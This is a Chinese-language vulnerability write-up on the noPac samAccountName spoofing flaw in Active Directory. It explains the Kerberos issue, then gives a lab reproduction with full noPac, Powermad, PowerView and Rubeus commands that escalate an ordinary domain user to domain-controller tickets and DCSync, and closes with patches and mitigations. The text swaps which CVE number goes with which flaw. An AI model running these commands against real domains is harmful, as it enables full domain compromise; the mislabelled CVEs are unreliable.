影响版本
Windows Server 2022
Windows Server 2019
Windows Server 2016
all editions Windows Server 2012 R2
Windows Server 2012
Windows Server 2008 R2
Windows Server 2008 Service Pack 2
漏洞详情
CVE-2021-42287/CVE-2021-42278 samAccountName spoofing
CVE-2021-42287
机器账户的名字一般来说应该以$结尾，但AD没有对域内机器账户名做验证，这就导致攻击者可通过利用计算机账户sAMAccountName欺骗来模仿域控
正常机器账户如下，非法的如dctest：
CVE-2021-42278
在 kerberos 认证过程中，用户要访问某个服务，在获取服务票据 ST 之前，需要申请 TGT票据。该漏洞的核心为：当请求的服务票 ST 没有被 KDC 找到时，KDC 会自动在尾部添加 $ 重新搜索。
将上述漏洞进行结合利用进行域内权限提升，流程如下：
- 建立一个机器账户，并修改账户的
sAMAccountName为域控的机器账户名，例如域控机器名为DC$，这里建立的机器账户sAMAccountName则修改为DC； - 使用该账户向KDC的AS申请到TGT；
- 修改1中建立的机器账户的
sAMAccountName修改为其他名，不与DC相同即可； - 使用2中申请到的TGT，利用S4U2self协议向KDC申请用于访问域控服务（ldap等）的ST。KDC服务一般默认安装在域控中，且此时DC这个
sAMAccountName已经不存在了，这就导致在向域控的KDC申请ST的时候，域控找不到DC这个账户。又因为漏洞CVE-2021-42278的缘故 ，找不到DC账户的KDC会在sAMAccountName名后添加$继续搜索，即在Account Database 中寻找DC账户。这样因为域控名为DC是存在的，KDC就会用域控密钥签发用于访问攻击主机服务的高权限ST； - DCsync，攻击达成。
前提：需要对属性
sAMAccountName和servicePrincipalName具有写权限。由于默认情况下 MAQ 特性，域内普通用户可以创建 10 个机器账户，而创建者对于机器账户具有写权限，当然可以更改这两个属性。
12月28日补充
看了长亭师傅们的分析，有些细节需要补充下
- KDC在查找用户信息主要有三个流程，因为机器名缺少
$导致进入2流程：
（1）、查找传入用户信息；
（2）、(1)中查找失败后拼接$继续查找；
（3）、(2)中查找失败则继续查找altSecurityIdentities属性的value
- 在进行到利用S4U2self协议申请ST的时候，原先以为S4U2self协议只能转发用户TGT申请用于访问自己服务的TGT。后来发现该协议好像没有想象中的严格，申请的ST对象可以随意更换，所以有了域控账户的PAC之后通过S4U2self协议就可以申请访问域内任意服务的ST
漏洞复现
本地测试环境：
- 域名
aaron.com - 域控win2012r2(
172.16.84.5)，sAMAccountName:WIN-K0LG8TT3AGH$，域控administrator - 域主机win10(
172.16.84.4),sAMAccountName:WINDOWS10$，登录名win10
一、使用武器化工具noPac
1.使用域内账户验证是否存在漏洞
noPac.exe scan -domain DOMAIN.COM -user USERNAME -pass PASSWORD
2.攻击达成
noPac.exe -domain DOMAIN.COM -user USERNAME -pass PASSWORD /dc MACHINENAME.DOMAIN.COM /mAccount dctest /mPassword 1qaz2wsx /service cifs /ptt
测试成功
二、使用Powermad和Rubeus
修改powershell的执行策略，倒入ps1脚本，创建机器账户test
Set-ExecutionPolicy unRestricted
New-MachineAccount -MachineAccount test -Domain aaron.com -DomainController WIN-K0LG8TT3AGH.aaron.com -Verbose
查看创建成功
删除该账户的SPN记录
查询发现该账户存在SPN记录
使用脚本powerview删除
Set-DomainObject "CN=test,CN=Computers,DC=aaron,DC=com" -Clear 'serviceprincipalname' -Verbose
查看发现SPN记录已经被删除
重新设置机器名，与域控机器名相同，去除$
Set-MachineAccountAttribute -MachineAccount test -Value "WIN-K0LG8TT3AGH" -Attribute samaccountname -Verbose
此时机器账户test的sAMAccountName值已经变成域控的对应值缺少$
使用Rubeus请求TGT
Rubeus.exe asktgt /user:WIN-K0LG8TT3AGH /password:PASSWORD /domian:aaron.com /dc:WIN-K0LG8TT3AGH.aaron.com /nowrap
恢复账户属性
Set-MachineAccountAttribute -MachineAccount test -Value "test" -Attribute samaccountname -Verbose
Request S4U2self（获取票据）
Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WIN-K0LG8TT3AGH.aaron.com /self /altservice:LDAP/WIN-K0LG8TT3AGH.aaron.com /ptt /ticket:上面生成的ticket
或者可签发CIFS的票据
Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WIN-K0LG8TT3AGH.aaron.com /self /altservice:cifs/WIN-K0LG8TT3AGH.aaron.com /ptt /ticket:上面生成的ticket
查看内存中的票据，发现已经存在 dc 的 ldap和cifs 服务票据：
测试是否有效
后面可以利用高权限的票据Dcsync
缓解措施
- 微软官方已推出补丁：KB5008602、KB5008380
- 通过域控的 ADSI 编辑器工具将 AD 域的 MAQ 配置为 0，中断此漏洞的利用链。
